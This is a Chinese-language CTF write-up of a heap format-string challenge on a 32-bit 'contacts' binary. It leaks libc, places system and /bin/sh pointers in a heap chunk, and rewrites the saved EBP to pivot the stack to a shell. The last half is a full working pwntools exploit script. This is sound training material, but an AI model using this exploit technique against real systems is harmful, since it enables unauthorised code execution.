依旧是从CTFWiKi上抄过来的,自己总结了下
FmtStr In Heap
1 | # checksec contacts |
2 | Arch: i386-32-little |
3 | RELRO: Partial RELRO |
4 | Stack: Canary found |
5 | NX: NX enabled |
6 | PIE: No PIE (0x8048000) |
查看一番,32位程序,地址随机化未开启,栈保护开启
然后IDA分析,发现四个函数,分别为构造,删除,修改,打印联系人,而在第四个函数里面,打印最后一个值时,含有FmtStr漏洞可利用
在此处,似乎之前FmtStr的利用方法都无法获得/bin/sh权限,修改Got表会因为多处使用printf函数而导致崩溃,之前发布的那个BSS段利用方法,由于每次结束后,会平衡堆栈,所以多次修改的办法也不行
思路
程序中压入栈中的 ebp 值其实保存的是上一个函数的保存 ebp 值的地址,所以我们可以修改其上层函数的保存的 ebp 的值,即上上层函数(即main函数)的 ebp 数值
因此,我们可以尝试利用栈迁移的方法,将我们的System_Addr 和 /bin/sh地址 放在BSS段,然后我们利用栈迁移,在最后leave指令的帮助下,修改EBP的值为对应的地址,从而使程序执行我们的命令,最终执行/bin/sh
1.通过常规的利用方法,泄漏libc版本,确定System_Addr 以及 Binsh_Addr
2.部署我们的利用命令到某地址A上,通常在构造联系人那里
3.修改上层函数保存的EBP值为我们(地址A-4)
当主程序返回时,会有如下操作
move esp,ebp,将 esp 指向 System_Addr 的地址-4
pop ebp, 将 esp 指向 System_Addr
ret,将 eip 指向 System_Addr,从而获取 Shell
EBP偏移量:6
堆的偏移量:11
libc_start_main_ret偏移量:31
利用
EXP
1 | from pwn import* |
2 | from LibcSearcher import* |
3 | p = process('./contacts') |
4 | elf = ELF('./contacts') |
5 | #context.log_level = 'debug' |
6 | |
7 | def CreateContact(name, phone, descrip_len, description): |
8 | p.recvuntil('>>> ') |
9 | p.sendline('1') |
10 | p.recvuntil('Contact info: \n') |
11 | p.recvuntil('Name: ') |
12 | p.sendline(name) |
13 | p.recvuntil('You have 10 numbers\n') |
14 | p.sendline(phone) |
15 | p.recvuntil('Length of description: ') |
16 | p.sendline(descrip_len) |
17 | p.recvuntil('description:\n\t\t') |
18 | p.sendline(description) |
19 | |
20 | def PrintContact(): |
21 | p.recvuntil('>>> ') |
22 | p.sendline('4') |
23 | p.recvuntil('Contacts:') |
24 | p.recvuntil('Description: ') |
25 | |
26 | #Get the libc version |
27 | payload = '%31$pEND' |
28 | CreateContact('First','12345','20',payload) |
29 | PrintContact() |
30 | libc_start_main_ret = int(p.recvuntil('END',drop = True),16) |
31 | log.success('Libc_start_main_ret Addr:'+hex(libc_start_main_ret)) |
32 | libc = LibcSearcher('__libc_start_main_ret',libc_start_main_ret) |
33 | libcbase = libc_start_main_ret - libc.dump('__libc_start_main_ret') |
34 | system_addr = libcbase + libc.dump('system') |
35 | binsh_addr = libcbase + libc.dump('str_bin_sh') |
36 | log.success('System_Addr:'+hex(system_addr)) |
37 | log.success('Binsh_Addr:'+hex(binsh_addr)) |
38 | |
39 | #Get the Heap_Addr and EBP_Addr |
40 | payload = flat([system_addr,'UUUU',binsh_addr,'START%6$pM%11$pEND']) |
41 | CreateContact('Second','12345','32',payload) |
42 | PrintContact() |
43 | p.recvuntil('START') |
44 | ebp_addr = int(p.recvuntil('M',drop = True),16) |
45 | heap_addr = int(p.recvuntil('END',drop = True),16) |
46 | log.success('Heap_Addr:'+hex(heap_addr)) |
47 | log.success('EBP_Addr:'+hex(ebp_addr)) |
48 | |
49 | #Modify the EBP |
50 | Pone = (heap_addr - 4) / 2 |
51 | Ptwo = heap_addr - 4 - Pone |
52 | payload = '%' + str(Pone) + 'x%' + str(Ptwo) + 'x%6$n' |
53 | CreateContact('Third','12345','40',payload) |
54 | PrintContact() |
55 | p.sendlineafter('>>> ','5') |
56 | p.interactive() |